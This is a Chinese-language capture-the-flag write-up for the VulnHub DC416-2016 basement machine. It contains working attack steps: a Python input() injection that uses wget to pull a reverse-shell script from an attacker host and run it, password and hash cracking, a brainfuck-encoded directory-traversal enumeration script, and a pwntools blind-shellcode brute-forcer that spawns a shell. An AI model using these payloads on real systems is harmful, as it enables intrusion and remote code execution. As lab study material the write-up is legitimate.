参考wp:https://firefart.at/post/vulnhub_dc416_basement/
https://habr.com/en/articles/318998/
靶机信息
https://www.vulnhub.com/entry/dc416-2016,168/
这次的靶机属于DC416-2016系列中的其中一个
一、靶机信息搜集
确认靶机ip为192.168.7.159,开启的端口包括22、80、8080、8090、10000、10001
二、10000端口漏洞
先去80端口看下,发现靶机概述,提醒我们有5个flag,这里我尝试了下,80端口没有可利用的漏洞点
先看看10000端口,这个端口号一般是webdav服务,这里用nc进行连接下
可以发现这个端口会要求输入发包数,并对自己进行ping。而输入非法值后可以发现其调用了python脚本且用input方法接收输入值,而input会直接解析接收的数据
所以这里可以输入一段python代码测试下
__import__('os').system('ls')
可以看到直接执行了,那么依次执行下载反弹shell脚本、给脚本执行权限并运行脚本的步骤即可获取到shell
__import__('os').system('wget -O /tmp/re.sh http://192.168.7.133:4445/re.sh')
__import__('os').system('chmod 777 /tmp/re.sh')
__import__('os').system('/tmp/re.sh')
拿下第一个flag:flag{j4cks_t0t4L_l4cK_0f_$uRpr1sE}
三、hash解密
首先看看/etc/passwd和/home路径下确认下用户有哪些
可以看到主要是四个用户jack、marla、robert和tyler
我先尝试了下常见的后渗透提权方法,内核漏洞和suid、sudo命令没有利用点
那就寻找下可疑文件,jack的家目录下有隐藏文件夹.secret,进去可以看到一个疑似跟marla用户有关的xip后缀文件
靶机开启SimpleHTTPServer,攻击机下载该文件
python -m SimpleHTTPServer 4445
下载下来后查看下文件类型为data,且大小为4k,不太像百度搜到的可执行文件的后缀,直接运行也会报错
这里其实是两种文件名的组合后缀形式,代表着xor加密后的zip文件
所以可以用xor解密工具xortool来对文件进行解密操作
xortool -b marla.xip
这里xortool列出了256个可能的xor密钥并分别尝试解密,解密后的结果可以在xortool_out文件夹下查看
用file查看这些文件格式,发现000.out正是我们需要的zip文件,因此正确的xor密钥即是M4YH3M
将000.out改名为marla.zip后解压,发现是7z格式且有密码
用zip2john将其转为加密的hash值,注意这里的值必须保证格式为以$zip2开头,zip2$结尾,删除头尾的文件名
用hashcat破解,指定zip加密类型,因为该破解时间很长,参数指定会话名便于保存后继续爆破
这里需要注意下中途退出的保存方式是先按p暂停后按q退出
hashcat -a 3 -m 13600 marla.zip.hash --session mydz (开始任务)
hashcat -a 3 -m 13600 --session mydz --restore (继续任务)
1亿6千多万次破解,耗时数天,建议爆破这步直接跳过,密码是m4rl4,用这个去解压后获得两个文件marla和marla.pub
查看内容发现是ssh的公钥与私钥,尝试连接发现密钥内置还有密码
用ssh2john将私钥转换为hash后用john破解,得到密码为singer
用私钥和密码登录,返回了第二个flag:flag{l4y3rs_up0n_l4y3rs}
四、8090端口本地利用
在反弹shell中用ps aux查看下本地的进程信息,发现几个用户下执行的进程
因为显示不全,这里用ps aux|less查看下几个进程的详细信息
这里有三个值得注意的点,首先robert用户在10001端口上开启了一个tenbytes的服务,而marla用户则将一个叫flag.wav的音频文件无限循环发送到本地的8090端口,最后tyler用户似乎在8080端口运行一个tiny的脚本文件
而在之前的nmap扫描中其实可以看到这个端口的协议是http,所以用curl尝试下从外部能否看到这个端口的信息,发现8090端口上的文件名为flag.mpg
那既然外部无法获取,就试下在shell内本地下载
下载成功,这里要注意因为其无限循环发送的特性,必须手动中断下载进程,否则会一直下载下去
照例靶机开SimpleHTTP后攻击机下载该文件
听了之后发现其重复循环一段数字:102 108 97 103 123 98 82 52 105 110 95 112 97 82 97 115 49 116 101 36 125
猜测是ascii码加密,用cyberchef解密得到第三个flag:flag{bR4in_paRas1te$}
五、brainfuck加密
根据之前nmap的扫描结果来看,8080端口也是http服务,用curl去获取网页,回显为一个meme的点阵图,head中有熟悉的brainfuck加密信息
解密后得到信息webf
结合我们之前发现的进程信息,猜测8080端口上运行的是tiny-web-server的服务,而通过searchsploit模块搜索可以发现这个服务有目录遍历的漏洞
用tiny-web-server的方式发送GET请求,返回值依然是brainfuck加密后的webf
猜测可能发送的请求也要进行brainfuck加密,将请求加密后重新发送,成功获取到/etc/passwd值
这里用了一个python脚本来将字典加密后尝试枚举敏感文件并下载到本地,python代码如下:
#!/usr/bin/env python3
import http.client
from time import sleep
def sf(filename, data):
with open(filename, 'wb') as f:
f.write(data)
def rf(filename):
with open(filename, 'rt') as f:
return f.readlines()
wordlist = "/usr/share/wordlists/dirb/common.txt"
def char2bf(char):
result_code = ""
ascii_value = ord(char)
factor = ascii_value / 10
remaining = ascii_value % 10
result_code += "{}".format("+" * 10)
result_code += "["
result_code += ">"
result_code += "{}".format("+" * int(factor))
result_code += "<"
result_code += "-"
result_code += "]"
result_code += ">"
result_code += "{}".format("+" * remaining)
result_code += "."
result_code += "[-]"
return result_code
def str2bf(string):
result = ""
for char in string:
result += char2bf(char)
return result
words = rf(wordlist)
counter = 1
for w in words:
w = w.strip()
filename = str2bf(w)
try:
conn = http.client.HTTPConnection("192.168.7.159", 8080)
conn.request("GET", filename)
resp = conn.getresponse()
data = resp.read().strip()
if b"404: Not Found" in data:
print("File {} not found".format(w))
else:
filename = "{}_{}.loot".format(counter, w.replace("/", "_"))
sf(filename, data)
print("File {} saved!!!!!!".format(w))
except http.client.IncompleteRead:
print("File {} returned an error (most likely it's a directory)".format(w))
print("This request crashed the webserver so let's wait a little ....")
sleep(30)
finally:
if conn:
conn.close()
counter += 1
运行后在.ssh处崩溃,很可能是存在.ssh目录无法下载,所以可以尝试获取id_rsa文件
将上述python代码中的words值改为.ssh/id_rsa,尝试下载,成功拿到tyler的id_rsa
尝试用私钥登录tyler用户,这次没有密码,直接获取到第四个flag:flag{l3t_Th3_cH1P$_f4LL_wH3Re_tHey_m4y}
六、blind shellcode
最后还剩一个10001端口,之前的进程信息可以看出其运行的是一个叫tenbytes的服务,尝试下本地连接该端口
提示输入一个十字节的代码进行运行,猜测存在某种溢出漏洞的命令,因为jack用户没有该脚本权限故无法对命令进行直接分析,尝试编写个python脚本生成blind shellcode来尝试注入
python脚本代码如下:
#!/usr/bin/env python2
from pwn import *
context(bits = 64,
os = 'linux',
aslr = True,
)
port = 10001
host = '127.0.0.1'
def encode_payload(p):
return ''.join(['\\x%0.2x' % c for c in bytearray(p)])
def gen_payload(offset):
payload = ""
payload += "\x01\xd2" # add edx, edx
payload += "\x5f" # pop rdi
payload += "\x48\x83\xef" + chr(offset) # sub rdi, offset
payload += "\xff\xe7" # jmp rdi
payload = payload.ljust(10, "\x90")
return payload
isEdxValid = False
validEdx = 80 # len(shell)==48
while isEdxValid == False:
offset = 0
while offset <= 255:
try:
log.info('Current offset is %d' % offset)
p = remote(host, port)
payload = gen_payload(offset)
log.info( 'Payload: %s' % (encode_payload(payload)) )
p.recvline()
EDX = 0x0a
while EDX < validEdx:
p.send(payload)
EDX += EDX
log.info('EDX now is %d' % EDX)
shell = ""
shell += "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68"
shell += "\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6"
shell += "\x52\xe8\x08\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68"
shell += "\x00\x56\x57\x48\x89\xe6\x0f\x05"
log.info('Sending shellcode')
p.send(shell)
# check for no tty message
p.sendline()
output = p.recvline(timeout=0.5)
if output and 'tty' in output:
log.success('Found offset!!! %d' % offset)
isEdxValid = True
break
if offset == 255:
log.error('No valid offset found!')
isEdxValid = False
count += 1
p.close()
except EOFError:
log.warning('Error on offset %d' % offset)
p.close()
finally:
offset += 1
validEdx += validEdx
p.interactive()
靶机下载python脚本后尝试运行失败,提示缺少依赖
把依赖全部下下来后放在同一目录下重新运行python脚本,成功获取到robert用户的shell
在robert家目录下获取到最后一个flag:flag{t3N_byt3$_0ugHt_t0_b3_eN0uGh_f0R_4nyb0dY}